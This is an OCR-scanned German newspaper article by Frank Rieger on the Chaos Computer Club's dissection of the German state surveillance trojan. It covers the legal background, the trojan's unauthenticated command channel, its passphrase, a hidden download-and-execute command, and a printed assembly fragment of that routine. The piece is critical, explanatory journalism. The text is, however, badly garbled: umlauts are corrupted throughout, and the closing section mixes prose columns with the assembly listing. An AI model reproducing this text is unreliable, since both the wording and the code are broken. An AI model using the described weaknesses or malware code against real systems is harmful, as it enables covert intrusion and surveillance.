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m 27. Februar 2008 fillte

das Bundesverfassungs-

gericht ein historisches Ur-

teil. Als Abschluss der Aus-

einandersetzung um den
Bundestrojaner - im Amtsdeutsch ,,On-
line-Durchsuchung® - verkiindete das
hochste deutsche Gericht ein neues
Grundrecht auf Gewihrleistung der Ver-
traulichkeit und Integritit informations-
technischer Systeme. Es setzte damit sehr
hohe Hiirden fiir Geheimdienste und Er-
mittlungsbehorden, wenn diese die Com-
puter von Biirgern infiltrieren wollen,
um an deren digitale Lebensspuren und
Daten zu gelangen.

Das Urteil enthilt jedoch eine Passa-
ge, die bei aufmerksamen Beobachtern
schon bei der ersten Lektiire sorgenvol-
les Stirnrunzeln hervorrief: Es ist der Ab-
schnitt zur sogenannten ,Quellen-Tele-
kommunikationsiiberwachung®. Die Re-
gierung und Vertreter der Ermittlungsbe-
horden hatten in der Karlsruher Verhand-
lung vehement argumentiert, dass sie
eine Moglichkeit brauchten, etwaige ver-
schliisselte Kommunikation schon auf
dem Computer des Verdichtigen abzufan-
gen, bevor sie verschliisselt wird. Das Ge-
richt mochte sich diesem Begehren nicht
ganz verschliefen und lief§ eine sogenann-
te ,,Quellen-Telekommunikationsiiberwa-
chung® zu - allerdings nur, ,wenn sich
die Uberwachung ausschlieilich auf Da-
ten aus einem laufenden Telekommunika-
tionsvorgang beschrinkt. Dies muss
durch technische Vorkehrungen und
rechtliche Vorgaben sichergestellt sein.”

Wie denn eine derartige Sicherstellung
in der Praxis technisch funktionieren soll-
te, war schon wihrend der miindlichen An-
hérung zum Bundestrojaner in Karlsruhe
ein hochst umstrittener Punkt. Das Ge-
richt hatte die Gefahren jedenfalls erkannt
und schrieb: ,Wird ein komplexes informa-
tionstechnisches System zum Zweck der
"Telekommunikationsiiberwachung  tech-
nisch infiltriert (,Quellen-Telekommunika-
tionstiberwachung®), so ist mit der Infiltra-
ton die entscheidende Hiirde genommen,
um das System insgesamt auszuspihen.
Die dadurch bedingte Gefihrdung geht
weit Gber die hinaus, die mit einer blofien
Uberwachung der laufenden Telekommu-
nikation verbunden ist.“

Der technische Hintergrund dieser Be-
denken ist, dass ein einmal auf einem
Computer installiertes Hintertiirpro-
gramm problemlos so ausgelegt werden
kann, dass es Funktionen enthilt oder die-
se Uiber das Netz nachladen konnte, wel-
che iiber das verfassungsrechtlich Zulassi-
ge weit hinausgehen. Uber diese Hinter-
turfunktionen kénnte dann unkontrollier-
bar tief in den geschiitzten Kernbereich
der privaten Lebensgestaltung des Betrof-
fenen eingegriffen werden.

Seit dem Urteil sind mehr als drei Jah-
re vergangen, und die deutschen Ermitt-
lungsbehorden sind nicht untitig geblie-
ben. In Strafverfahren landauf, landab
gab es in den letzten Monaten Hinweise
auf den Einsatz von Trojanern zur Kom-
munikationsiiberwachung: Wenn sich
etwa Informationen in den Akten finden,
die tber das am Telefon Besprochene
weit hinausgehen, oder Bildschirmfotos
vom Rechner des Beschuldigten auftau-
chen, die unerklirlichen Ursprungs sind.

In solchen sogenannten Screenshots

werden verschiedene - in den Augen der
Ermittler belastende - E-Mails oder
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Chat-Gespriche dokumentiert. Bean-
tragt und richterlich genehmigt wird die
sogenannte ,,Quellen-Telekommunika-
tionstiberwachung“ wie eine normale Te-
lefoniiberwachung.

Wehren sich Beschuldigte gegen die-
ses Eindringen in ihre private Sphire, re-
den sich die Ermittlungsbehérden damit
heraus, dass die dazu eingesetzte Uberwa-
chungssoftware von einem externen, si-
cherheitsiiberpriiften Dienstleister stam-
me. Sie sei auflerdem spezifisch entspre-
chend der jeweiligen Abhéranordnung
zusammengestellt worden. Umfangrei-
che Qualititssicherungsprozesse sollen
garantieren, dass keine tber die Telekom-
munikationsiiberwachung hinausgehen-
den Funktionen enthalten seien.

Besonders betont wird immer wieder,
dass die Funktionserweiterung einer
,,Quellen-Telekommunikationsiiberwa-
chung® zu einer ,Online-Durchsu-
chung® vollstindig ausgeschlossen sei,
mit welcher alle Daten auf einem Compu-
ter ausgespiht und alle Computerfunktio-
nen ferngesteuert werden kénnten. Eine
unabhingige technische Untersuchung
dieser Angaben und Prozesse gab es bis-
her nicht, man musste sich auf die Beteue-
rungen der Behorden verlassen.

Einige der von der Spionagesoftware
Betroffenen wollten nun offenbar genau-
er wissen, was auf ihren Computern ei-
gentlich geschehen war und was genau al-
les iiberwacht wurde. So trafen im Ver-
lauf der letzten Wochen diverse Festplat-
ten in den berihmten braunen Umschli-
gen anonym beim Chaos Computer
Club ein.

Nach kurzer forensischer Durchsicht
der Datentriger durch eine Gruppe von
CCC-Hackern fand sich auf einigen der
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Anatomie
eines digitalen
Ungeziefers

Wie der Staatstrojaner zerlegt wurde: Die Hacker vom Chaos
Computer Club haben die Uberwachungssoftware gefunden, analysiert -
und gehackt. Das Ergebnis ist erschreckend. Der Trojaner
kann unsere Gedanken lesen und unsere Computer fernsteuern

Von Frank Rieger

Festplatten tatsichlich jeweils eine be-
hordliche Computerwanzensoftware.
Die Trojaner-Varianten sind einander aus-
gesprochen dhnlich und weisen nur ge-
ringfligige Unterschiede auf. Die Datei-
en, die einst die Betroffenen ausspioniert
hatten, waren nur amateurhaft geldscht
worden und liefien sich ohne grofien Auf-
wand mit gingigen Computerforensik-
werkzeugen rekonstruieren. Die Hacker
machten sich an die Detailuntersuchung.
Was sie dabei fanden, erstaunte selbst
hartgesottene Zyniker.

Eine Schadsoftware zu analysieren ist
vergleichbar mit der Obduktion einer un-
bekannten Spezies von Lebewesen. Man
versucht, einzelne Funktionen zu identifi-
zieren, etwa Augen, Ohren, Atemsystem,
Kreislauf, Verdauungsorgane oder Stimm-
apparat. Dazu zieht man Vergleiche mit
bekannten Strukturen heran - etwa dass
in Augen von Wirbeltieren typischerwei-
se Linse, Hornhaut, Pupille, Glaskorper
und Netzhaut zu finden sind. Aus dem
Vorhandensein oder auch Fehlen dieser
bekannten Strukturen erschliefit man
wahrscheinliche Funktionen und Zusam-
menhinge der Anatomie. Mit vergleich-
baren Methoden identifiziert man auch
Funktionen und Zusammenhinge in ei-
ner unbekannten Schadsoftware, die ja
nur als Maschinencode vorliegt.

Maschinencode ist im Gegensatz zum
urspringlich in einer Programmier-
hochsprache wie C++ geschriebenen und
spéter in Maschinencode tibersetzten Pro-
grammcode fiir Menschen nur mithsam
zu lesen und zu verstehen. Wenn man er-
griinden will, was eine bestimmte Routi-
ne des Trojaners bewirkt, schaut man als
Erstes nach, welche Funktionen des Be-
triebssystems sie benutzt.

Das Betriebssystem eines Computers
stellt ganz grundlegende Funktionen be-
reit, die jedes Programm bendtigt, um
auf dem Computer zu laufen. Dazu geho-
ren zum Beispiel das Lesen und Schrei-
ben von Dateien, Senden und Empfan-
gen von Daten tber das Netz, Tastatur-
eingaben, Tonein- und -ausgabe oder
auch der Start von Programmen. Einzel-
ne Teile des Schadprogramms erfillen
verschiedene Aufgaben und benutzen
also auch unterschiedliche Betriebssys-
temsfunktionen, aus denen sich auf ihre
Funktion schliefien lisst, so wie etwa ein
Pathologe aus dem Vorhandensein einer
Linse auf ein optisches Sinnesorgan
schlieffen kann.

Von besonderem Interesse war der bei
der Analyse alsbald identifizierte Teil der
Software, der fiir die Fernsteuerung des
Trojaners tiber das Netz verantwortlich
ist. Nach dem Start eines neu infizierten
Computers bindet sich die Schadsoftware
heimlich in alle laufenden Programme
ein und sendet an einen fest konfigurier-
ten Server, der sich interessanterweise in
den Vereinigten Staaten - einer bekannt-
lich fremden Jurisdiktion - befindet, ein
paar Datenpakete, um seine Dienstbereit-
schaft zu signalisieren.

Die Pakete, die zum Server geschickt
werden, sind mit einer AES-Verschlisse-
lung abgesichert. AES ist ein bewéhrtes
Standardverschlisselungsverfahren, — bei
dem fiir die Ver- und Entschliisselung der
gleiche Schliissel verwendet wird. Dieser
Schliissel ist in den dem CCC zugesand-
ten Trojaner-Varianten identisch, scheint
also in unterschiedlichen Uberwachungs-
fillen wiederverwendet zu werden.

Um die Kommunikation zum Server
zu entschlisseln und zu analysieren,
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mussten die Hacker nur den Schlissel
aus einem der Trojaner extrahieren und
den Trojaner in einem von der Aufien-
welt isolierten Netz in Betrieb nehmen.
Dabei mussten sie allerdings feststellen,
dass die Verschlisselung fachlich falsch
implementiert ist, so dass auch ohne
Kenntnis des Schlissels Riickschliisse auf
den Inhalt der vom Trojaner zum Server
tibermittelten Daten méglich sind.

Der Trojaner sendet in regelmifiigen
Abstinden eine Art Parole, die benutzt
wird, um dem amerikanischen Server zu
signalisieren, dass es sich tatsichlich um
einen von ihm kontrollierten Trojaner
handelt. Die Parole der amtlichen Schad-
software fir ihren Serverzugang lautet
hier C3PO-r2d2-POE. Offenbar war der
Programmierer  ein  Star-Wars-Fan:
C3PO und POE sind sogenannte Proto-
koll-Droiden aus dem SciFi-Universum
der Star-Wars-Saga, die dort fir die rei-
bungslose Kommunikation zwischen un-
terschiedlichen Volkern und aufierirdi-
schen Rassen zustindig sind. Der Droide
R2D2 repariert Raumschiffe.

Nachdem der Trojaner mit dieser Pa-
role seine Anwesenheit signalisiert und
noch einige weitere Daten ibermittelt
hat, beispielsweise eine Art digitale Fall-
nummer, wartet er auf Befehle vom
Server. Die CCC-Hacker mussten ent-
setzt feststellen, dass die Schadsoftware
ihre Kommandos ohne jegliche Absiche-
rung oder Authentifizierung entgegen-
nimmt.

Die Kommandos bestehen nur aus ein-
zelnen Zahlen von eins bis 18 sowie eini-
gen Parametern. Zum Absetzen der Be-
fehle wird keine Verschlisselung verwen-
det, es gibt keine kryptographische
Authentifizierung oder Vergleichbares.
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Uberall sonst im Netz, etwa beim On-
line-Banking oder selbst in Flirtportalen,
sind das lingst tbliche Absicherungs-
mechanismen. Die einzige Bedingung
fur die Akzeptanz der Befehle an die staat-
liche Spionagesoftware aber ist es, dass
sie so aussehen, als wenn sie von der IP-
Adresse des Weiterleitungsservers kom-
men. Das Vorspiegeln einer falschen Ab-
senderadresse ist jedoch fiir Kundige ein
Leichtes. Dadurch hat die behérdliche
Computerwanze ein scheunentorgrofies
Sicherheitsloch aufgestofien, das ganz ein-
fach ausgenutzt werden kann.

Die Funktionen, die tiber diese Fern-
steuerungsschnittstelle aufgerufen werden
konnen, sind aufschlussreich. Thre Zusam-
menstellung und Art der Ausfithrung las-
sen keinen Zweifel daran, dass es sich um
ein von Ermittlungsbehorden eingesetz-
tes Schniiffelprogramm handelt. Die In-
ternettelefonate mittels Skype abzuhdren
und Bildschirmfotos von im Vordergrund
befindlichen Webbrowser-Fenstern zu ma-
chen sind genau die Funktionen, die von
den Ermittlungsbehorden immer wieder
lautstark gefordert wurden, um Verschliis-
selung zu umgehen, die ein ,normales”
Abhéren unmoglich macht. ,,Kommerziel-
le“ Trojaner, wie sie etwa zum Abschop-
fen von Online-Banking-Daten verwen-
det werden, hitten andere, obendrein ele-
gantere Mechanismen verwendet. Den
gingigen Antivirusprogrammen ist der
"Trojaner vollig unbekannt.

Die weitaus schockierendste Funktion,
bei der die beteiligten Hacker zuerst ih-
ren Augen nicht trauen wollten, wird mit
dem Kommando 14 aufgerufen. Damit
kann der Inhaber der Trojaner-Befehlsge-
walt ein beliebiges Programm tber das
Netz auf den infizierten Computer laden
und ausfiihren lassen, ohne dass der be-
troffene Nutzer etwas davon mit-
bekommt. Genau die verfassungsrecht-
lich héchst problematische Funktion, von
der die Ermittlungsbehdrden nachdriick-
lich behaupteten, sie sei keinesfalls in
einer ,,Quellen-Telekommunikationstiber-
wachungs“-Software enthalten, fand sich
bei der Analyse.

Mit dem Nachladen von Programmtei-
len liefien sich beliebige, die Grenzen des
vom Bundesverfassungsgericht Erlaubten
weit Uberschreitende Uberwachungsmo-
dule installieren, die zum Beispiel Mikro-
fon und Kamera am Computer als Raum-
uberwachungswanze nutzen - das ist der
digitale grofie Lausch- und Spihangriff.
Genauso ist es moglich, durch dieses
Programmnachladen Funktionen zu in-
stallieren, mit deren Hilfe die Festplatte
des infiltrierten Computers durchsucht
und Dateien heruntergeladen werden kon-
nen - die exakte Definition der ,,Online-
Durchsuchung®. Ein nachgeladenes Pro-
gramm konnte sogar Dateien heimlich
uber das Netz auf den Computer schie-
ben oder gespeicherte Daten verindern.

Technisch gesehen lassen sich so digita-
le Beweismittel problemlos erzeugen,
ohne dass der Ausspionierte dies verhin-
dern oder auch nur beweisen konnte. Fin-
den sich auf einer Festplatte Bilder oder
Filme, die Kindesmissbrauch zeigen,
oder anderes schwer belastendes Mate-
rial, so konnte es dort auch plaziert wor-
den sein. Solche ,Beweise“ wirden zum
Beispiel bei einer spiteren Beschlagnah-
me des Computers ,gefunden® werden
und sind auch mit forensischen Mitteln
nicht als Falschung erkennbar.
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Anatomie eines
digitalen Ungeziefers

Dass es, sobald ein Computer einmal in-
filtriert ist, keine Beweissicherheit mehr
gibt, ist einer der gravierendsten Kritik-
punkte an behérdlichem Computer-
verseuchen iiberhaupt. Dass sich nun
herausstellt, dass der filschlich als ,,Quel-
len-Telekommunikationsiiberwachung®
deklarierte digitale Spitzel iiber eine Pro-
grammnachladefunktion verfiigt und
obendrein diese Funktion nicht einmal
rudimentir gegen einen Missbrauch
durch Dritte gesichert ist, bestitigt die
schlimmsten Szenarien. De facto handelt
es sich hier um mehr als einen Bundes-
trojaner, nicht um eine begrenzte Soft-
ware zum Abhéren von Telekommunika-
tion.

Alle Befiirchtungen, die von Kritikern
des Bundestrojaner-Einsatzes artikuliert
wurden und dazu beitrugen, das Bundes-
verfassungsgericht zu seinem Bundestro-
janer-Urteil zu veranlassen, haben sich
bestiitigt -~ manifestiert in einer Soft-
ware, die eigentlich nur zur Telekommu-
nikationsiiberwachung geeignet sein soll.
Mit Hilfe des Programmnachladens ist
die vollstindige Fernsteuerung, Manipu-
lation und Auswertung eines infiltrierten
Computers technisch méglich, auch
wenn die rechtliche Ermichtigung nur
fiir eine ,,Quellen-Telekommunikations-
iiberwachung® galt.

Bei der detaillierten Analyse dieser
Programmnachladefunktion stieflen die
CCC-Hacker auf ein weiteres interes-
santes Detail. Wihrend der Rest der Tro-
janer-Software keine nennenswerten Ab-
sicherungen gegen die Erkundung sei-
ner Funktionen durch Maschinencode-
Analyse aufweist, wurde hier versucht,
ausgerechnet diese heikelste Funktion ab-
zutarnen und ihre Wirkungsweise zu ver-
bergen.

Dazu wurden die einzelnen Software-
teile, die am Ende zur Ausfiithrung eines
iber das Netz nachgeladenen Pro-
gramms fithren, wie Puzzlesteine ver-
streut, die erst dann, wenn es nétig wird,
zusammengesetzt werden. Nur das zu-
sammengesetzte Puzzle ergibt dann die
Maschinencode-Routine, mit der das
nachgeladene Uberwachungsmodul tat-
sichlich in Funktion gesetzt wird. Die
Auftraggeber und Programmierer des
Trojaners waren sich anscheinend des
massiven verfassungsrechtlichen Versto-
fies bewusst und versuchten ihr Vorge-
hen zu vertuschen.

Im Code des Trojaners selbst gibt es
keinen Hinweis auf den Hersteller der
Software. Im Jahre 2008 wurde jedoch
ein interner Schriftwechsel einer Justiz-
behérde publik, in dem eine deutsche
Firma einen Trojaner zum Skype-Abho-
ren anbietet, deren Funktionsumfang
sich mit dem von den CCC-Hackern

analysierten Trojaner deckt. Sogar die
Anmietung eines Weiterleitungsservers
im Ausland, um die TP-Adresse der Troja-
ner-Kontrollstation zu verschleiern, war
im Angebot erwihnt.

Zur Infiltration des Computers des
Verdichtigen waren zwei Optionen auf-
gefihrt: die Installaton durch physi-
schen Zugriff auf den Computer - vor-
stellbar etwa bei einem verdeckten Ein-
bruch oder einer Personenkontrolle -
und das elektronische Einschmuggeln.
Letzteres erfolgt, wie aus Dokumenten
zu in nordafrikanischen Diktaturen ver-
wendeten Trojanern bekannt wurde, iibli-
cherweise per E-Mail-Anhang oder auch
durch automatisches Einfiigen des Troja-
ners in Programme, die die Zielperson
herunterlidt.

Schon die im normalen ,Lieferum-
fang* des Trojaners - also ohne nachgela-
dene Module - enthaltenen Funktionen
sind geeignet, den Einsatz von staatli-
cher Schniiffelsoftware generell in Frage
zu stellen. In schneller Folge kénnen
Bildschirmfotos von Inhalten des Web-
browsers, Chat- und E-Mail-Program-
men gemacht werden, die den aktuellen
Inhalt des jeweiligen Programmfensters
anzeigen.

Immer mehr Menschen nutzen webba-
sierte Cloud-Dienste fiir alle wesentli-
chen Titigkeiten am Computer. Egal ob
Webmail-Service, Textverarbeitung und
Tabellenkalkulation mit Google Docs
oder Fotodienste - vieles liuft heute
iiber den Browser. Und vom Inhalt des
Browserfensters macht der Staatstroja-
ner auf Kommando alle paar Sekunden
ein Bildschirmfoto. Die Erfassung er-
streckt sich also bei weitem nicht nur auf
reine Telekommunikation.

Wie bei einem Daumenkinoheftchen
konnen die Uberwacher dem Entstehen
von Text gewordenen Gedanken, Kalku-
lationen, Notizen und E-Mails zuschau-
en - ein Bildschirmfoto nach dem ande-
ren. Auch niemals versendete Nachrich-
ten, die der Verfasser wieder geldscht
hat, statt sie abzuschicken, landen so auf
dem Uberwachungsserver. Viele Men-
schen haben es sich angewohnt, ihre Ge-
danken und Gefiihlen digital festzuhal-
ten, die sie dann aber nicht unbedingt
verschicken. Ohne Zweifel gehéren sol-
che intimen Notizen zum strikt ge-
schiitzten Kernbereich, den das Bundes-
verfassungsgericht bewahrt sehen woll-
te. Nun landen sie mittels der Autorisie-
rung einer einfachen Tele-
kommunikationsiiberwachung in den
Handakten der Ermittler und Geheim-
dienste.

Um die Enttarnung von laufenden Er-
mittlungsmafinahmen auszuschliefien, in-
formierte der Chaos Computer Club

rechtzeitig vor der Publikation der De-
tails des Staatstrojaners das Bundesinnen-
ministerium. Der untersuchte staatliche
Trojaner gleicht in seiner Funktion ei-
nem Parasiten, der sich im Gehirn seines
Opfers einnistet, Zugriff auf seine Sin-
nesorgane nimmt und die Signale an sei-
nen Herrn und Meister weiterleitet. Die
Behérden haben ganz offensichtlich das
in sie gesetzte Vertrauen missbraucht
und heimlich genau das getan, was ihnen
das Bundesverfassungsgericht untersagt
hat. Die behordliche Schadsoftware ist
zu einem Werkzeug geworden, das kon-
struiert wurde, um heimlich digitale Le-
bensspuren und Gedanken aus dem
Computer des Verdichtigen zu extrahie-
ren und auf Knopfdruck sogar zum gro-
fen Lausch- und Spihangriff iiberzuge-
hen.

Die grundsitzliche Frage, wie viel Ver-
trauen Ermittlungsbehorden bei der An-
wendung von neuartigen technischen
Mitteln entgegengebracht werden kann,
gewinnt durch die Analyse des angebli-
chen ,,Quellen-Telekommunikationsiiber-
wachungs“-Trojaners neue Brisanz. Es
ist sicher nicht das erste Mal, dass die Po-
lizei technische Moglichkeiten , kreativ*
genutzt hat Es ist wohl aber das erste
Mal, dass, entgegen dem expliziten Vo-
tum aus Karlsruhe, systematisch_eine
heimliche ~ Ausweitung der Uber-
wachungsméglichkeiten in den klar ille-
galen Bereich vorgenommen und auch
noch die Offentlichkeit dariiber irregelei-
tet wurde.

Das grundlegende Vertrauen darin,
dass neue Uberwachungsméglichkeiten
und -befugnisse mit der von Innenpoliti-
kern so gerne beschworenen Zuriickhal-
tung angewendet werden, ist nachhaltig
zerstort. Und wiederum erwies sich der
Richtervorbehalt als zahnlos und unzurei-
chend fir den Grundrechtsschutz der
Ausspionierten. Die Frage, wo die Gren-
zen der digitalen Intimsphire sind, die
stets zu wahren ist, stellt sich erneut
dringlich.

Der Katalog der zulissigen Ermitt-
lungsmafinahmen und -methoden muss
kiinftig sehr viel priziser und verbindli-
cher definiert werden, denn technologi-
sche Grauzonen fithren immer wieder
zu Grundrechtsiibergriffen, die nicht
sanktioniert werden. Es ist auch an der
Zeit, vom Gesetzgeber ein systemati-
sches Verwertungs- und Verwendungs-
verbot fiir rechtswidrig erlangte Beweise
mit entsprechenden Sanktions- und
Schadenersatzregeln einzufordern. Die
Verlockung der im angelsichsischen
Recht plastisch ,Friichte vom verbote-
nen Baum® genannten illegal beschaff-
ten Daten ist offenbar zu grofi gewor-
den.

Gerichtlich genehmigte Zugriffe

B e

Grundrechtswidrige Zugriffe

Steuerung durch Kontrollstelle

Leseanleitung

Wie der Code-Ausschnitt aus dem

Staatstrojaner zu interpretieren ist

Computerprogramme sind normalerweise in sogenann-
ten Hochsprachen geschrieben, kiinstlichen Sprachen,
die darauf ausgelegt sind, dass sie ein Mensch verstehen
und sich darin ausdriicken kann. Um vom Computer
verarbeitet zu werden, muss das Programm jedoch in
Maschinencode iibersetzt werden, in die Bytefolgen, die
der Prozessor dann tatsichlich verarbeiten kann. Wenn
man ein Programm nicht in seiner urspriinglichen
Hochsprachenform vorliegen hat, man aber seine Funk-
tionsweise verstehen will - das sogenannte reverse engi-
neering -, muss man es wieder in eine zumindest ansatz-
weise verstindliche Sprache transformieren.

Diese Sprache nennt sich ,Assembler. Sie besteht
aus sehr einfachen Befehlen, die direkt auf dem Spei-
cher des Computers und internen ,Notizzetteln“ des
Prozessors, den Registern, operieren. Kurze Befehle in
der urspriinglichen Hochsprache, etwa um eine Datei
zu 6ffnen und mit den darin befindlichen Daten etwas
zu tun, bestehen in der Assemblersprache aus vielen
Dutzend einzelnen, atomaren Teilbefehlen, die in ihrer
Gesamtheit dann zum gewiinschten Ergebnis fithren.

Da im Maschinencode praktisch keine vom Men-
schen lesbaren Bezeichner mehr enthalten sind, ist ein
Teil des Analyseprozesses, den Funktionen und auch
dem Gesamtprogramm wieder sprechende Namen zu
geben. Die CCC-Hacker wihlten fiir das Analysepro-
jekt den ironischen Titel ,ozapftis“, eine Hacker-Verball-
hornung des bayerischen ,Ozapft is!“. Dementspre-
chend beginnen die Kommentare und Bezeichnungen
der in ihrer Funktion verstandenen Routinen mit die-
sem Titel.

Der folgende Programmcode-Ausschnitt ist ein Frag-
ment, wiedergegeben in Assemblersprache, in dem der
Staatstrojaner ein nachgeladenes Programm zur Ausfiih-
rung bringt. Seine Existenz markiert eine der gravieren-
den Grenziiberschreitungen, die Stelle, an der die An-
wendung den verfassungsrechtlich abgesteckten Grund
verldsst. Spitestens mit der Implementierung dieses
Stiicks Code greift selbst der Euphemismus ,Quellen-
Telekommunikationsiiberwachung® nicht mehr, um die
mogliche Eintauchtiefe der Strafverfolger in die Intim-
sphire zu beschreiben. Hier bricht der Code das Ge-
setz.

Der Trojaner wird durch das Vorhandensein dieser
Funktion zu einem Briickenkopf, iiber den die komplet-
te Invasion des infiltrierten Systems méglich ist. Beliebi-
ge Komponenten, etwa zum Lesen und Schreiben von
Dateien oder auch zur Nutzung von Mikrofon und Ka-
mera aus der Ferne fiir einen grofien Lausch- und Spih-
angriff konnen nachgeladen werden.

Technisch besonders interessant ist, dass dieser Teil
der Trojaner-Software so geschrieben wurde, dass man
beim fliichtigen Hinsehen - etwa mit einer einfachen
Suche nach dem Funktionsnamen, der typischerweise
fiir die Ausfithrung eines nachgeladenen Programms
verwendet wird - nicht fiindig wird. Nach solchen cha-
rakteristischen Funktionsnamen suchen zum Beispiel
Virusscanner oder in Firmenfirewalls installierte digita-
le Alarmanlagen. Diese sollen Schadsoftware auf dem
Computer - oder besser schon auf dem Weg dahin -
ausfindig machen. Solche Systeme arbeiten ein wenig
wie das Immunsystem eines Organismus. Sie suchen
nach bekannten Mustern, die auf schidliches Verhalten
hinweisen, und versuchen dann, die Zelle oder das Pro-
gramm zu isolieren.

Auch menschliche Forensiker suchen bei der Analyse
eines unbekannten Programms nach bestimmten Mus-
tern, wie ein Pathologe, der einen unbekannten Orga-

nismus analysiert. Wenn diese Muster durchbrochen
werden, also die eigentliche Programmfunktion un-

kenntlich gemacht wird, wird es sowohl fiir Virusscan-
ner als auch fiir Forensiker schwerer, die eigentliche In-
tention zu erkennen.

Die hier dokumentierte Verschleierung der eigentli-
chen Absicht des Programmierers ist von eher einfacher
Machart, die nicht von grofier Erfahrung auf diesem
Gebiet zeugt. Man kann sie mit dem Einschmuggeln ei-
ner in Einzelteile zerlegten Pistole vergleichen. Die se-
paraten Teile sind nicht leicht als Komponenten einer
Waffe zu erkennen. Lauf, Verschluss, Griff, Abzug, Ma-
gazin und Munition sind jeweils fiir sich relativ klein
und erregen keine Aufmerksamkeit.

Die Waffenteile sind hier harmlos klingende Buchsta-
benfolgen: ,Crea®, ,essA“ und ,teProc®. Diese Buchsta-
benfolgen sind wie zufillig in einer Tabelle verteilt, in
der auch Dutzende andere fiir den Programmablauf not-
wendige, aber nicht auffillige Worter untergebracht
sind. Zusammengesetzt ergeben die Fragmente das
Wort ,,CreateProcessA“. Genau dieses Wort bezeichnet
den kritischen Funktionsaufruf, mit dem auf dem Be-
triebssystem Windows ein neues Programm aus einem
anderen heraus zur Ausfithrung gebracht werden kann.

Nachdem sich der Trojaner den Namen des Funk-
tionsaufrufs zusammengebastelt und beim Betriebssys-
tem dessen Ansprungadresse abgefragt hat, an der sich
der dazugehérige Maschinencode befindet, stellt sie
sich im Speicher die Parameter fiir diesen Aufruf zusam-
men. Dazu gehéren natiirlich der Dateiname der vor-
iibergehend erzeugten ausfithrbaren Datei, die ihr zu
iibergebenen Parameter und ein paar betriebssystem-
spezifische Hinweise iiber Zugriffsrechte. Schliefilich
iibergibt sie der Routine ,,CreateProcessA“ die Kontrol-
le und erméglicht dem hochgeladenen Programm so
die Ausfithrung. Frank Rieger

Der Code im Detail

Die wesentlichen Stellen des Programmablaufs im
Code-Fragment aus dem Staatstrojaner, das ein
nachgeladenes Programm zur Ausfithrung bringt:

An den mit A, B und € markierten Code-Stellen wer-
den die Wortfragmente einzeln aus der Tabelle ge-
holt und in temporiren Speicherplitzen vorgehal-
ten.

An Codestelle D werden die Puzzleteile zusammen-
gesetzt. Dazu werden die Fragmente in der richti-
gen Reihenfolge in einen neuen temporir genutz-
ten Speicherort geschrieben, so wie man ein Wort
beim Kreuzwortritseln nach und nach zusammen-
setzt. Richtig zusammengesetzt, ergeben die Frag-
mente A, B und C den Funktionsnamen ,,CreatePro-
cessA“.

An der Codestelle E fragt der Trojaner die Sprung-
adresse fiir die Funktion ,CreateProcessA“ mit Hil-
fe des zusammengepuzzelten Funktionsnamens
beim Betriebssystem ab. Dieser Schritt ist notwen-

dig, um an der folgenden Codestelle die entspre-
chende Funktion aufrufen zu kénnen.

An Codestelle F werden die fiir den geplanten Pro-
grammaufruf notwendigen Parameter zusammenge-
stellt. Wire das hochgeladene Programm beispiels-
weise ein digitaler grofier Lauschangriff, enthielten
die Parameter die Anweisungen, welches Mikrofon
am Computer verwendet werden soll und wohin
die aufgezeichneten Audiodaten gespeichert wer-
den sollen.

An Codestelle 6 wird schliefilich das Kommando
zur Ausfithrung der nachgeladenen Programmdatei
gegeben.
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® Der hier abgedruckte Code fiel bei der Obduktion Leben. Wir glauben, eine freie Wahl zu haben, aber
O e 1 S t des Staatstrojaners besonders auf. Es handelt sich lingst, so schrieb Lawrence Lessig schon vor Jahren,

offenbar um jenen getarnten Teil der Spionagesoft- reguliert uns der unbekannte Code in der digitalen
ware, der das illegale Nachladen von Programmen Welt: ,Der Code implementiert Werte oder zerstort
aller Art ermoglicht. Einmal in Betrieb, kann er sie. Er ermoglicht Freiheit, oder er vernichtet sie.”
sogar digital nie gespeicherte Gedanken lesen. Fir Wir drucken ihn, um den neuen Analphabetismus
e S etZ Informatiker ist der Code trivial. Fur die Burger, also  der Freiheit anschaulich zu machen. Die Codierer, so
auch fur Richter, Journalisten, Politiker, ist es ein un-  Lessig, regulieren die Werte. Die Frage ist, ob die

verstandliches Idiom. Aber diese Sprache regelt unser ~ Gesellschaft sie ihnen tiberlassen will.

¢ e S UB. RO U T.E N E rep stosd
e e mov al, [esp+@E4h+arg_C]
mov [esp+@E4h+var_50], 44h
mov cl, al
@zapftis_file_execute proc near . mov [esp+@E4h+var_24], 1
CODE XREF: neg £l
_Ozapftis_download_store_EXE+19Fp sbb ecx, ecx
and ecx, OFFFFFFFBh
var_D1= byte ptr -0D1h add ecx, 5
hProcess= dword ptr -0D@h test gL, Al
var_CC= byte ptr -0CCh mov [esp+@E4h+var_20], cx
lpProcName= dword ptr -0C8h jz short 1loc_10003C02
Msg = byte ptr -0BCh
var_B8= dword ptr -0B8h mov eax, 1388h
ExitCode= byte ptr -0A0h mov [esp+@E4h+var_24], 85h
var_9C= dword ptr -9Ch mov [esp+@E4h+var_40], eax
var_98= dword ptr -98h mov [esp+@E4h+var_3C], eax

var_94= dword ptr -94h
var_90= dword ptr -90h

var_8(C= dword ptr -8Ch loc_10003C02:
var_80= dword ptr -80h ; CODE XREF: _@zapftis_file_execute+62]
var_64= dword ptr -64h mov edx, [esp+@E4h+arg_14]
var_b0= dword ptr -60h mov ecx, OFh
var_50= dword ptr -50h xor eax, eax
var_40= dword ptr -40h lea edi, [esp+@E4h+var_9(C]
var_3C= dword ptr -3Ch rep stosd
var_24= dword ptr -24h mov cl, [esp+@E4h+var_D1]
var_20= word ptr -20h mov eax, [esp+@E4h+arg_4]
var_C = dword ptr -0Ch mov [esp+@E4h+var_CC], cl
var_4 = dword ptr -4 push 0
arg_0@ = dword ptr 4 lea ecx, [esp+@E8h+var_C(C]
arg_4 = dword ptr 8 mov [ esp+@E8h+var_94], edx
arg_8 = byte ptr 0Ch mov [esp+@E8h+var_9C], 3Ch
arg_C = byte ptr 10h mov  esp+OE8h+var_98], 40h
arg_l10= byte ptr 14h mov  esp+@E8h+var_90], offset
arg_l4= dword ptr 18h aOpen ; ,,open”
mov [esp+OE8h+var_8C], eax

push OFFFFFFFFh mov [esp+@E8h+var_80], 5

push offset SEH_10003B80 call

mov eax, large fs:0 ?_Tidy@?$basic_string@U?$char_traits@D@std

push eax @@V?%$allocator@D@2@@std@@AAEX_N@Z ;

mov large fs:0, esp std: :basic_string<char,std: :char_traits<cha

sub esp, 0C8h r>,std: :allocator<char>>::_Tidy(bool)

push ebx

push ebp mov edi, offset aCrea :

push esi ,crea“

push edi or ecx, OFFFFFFFFh

mov ecx, 1lh xor eax, eax

xor eax, eax push i

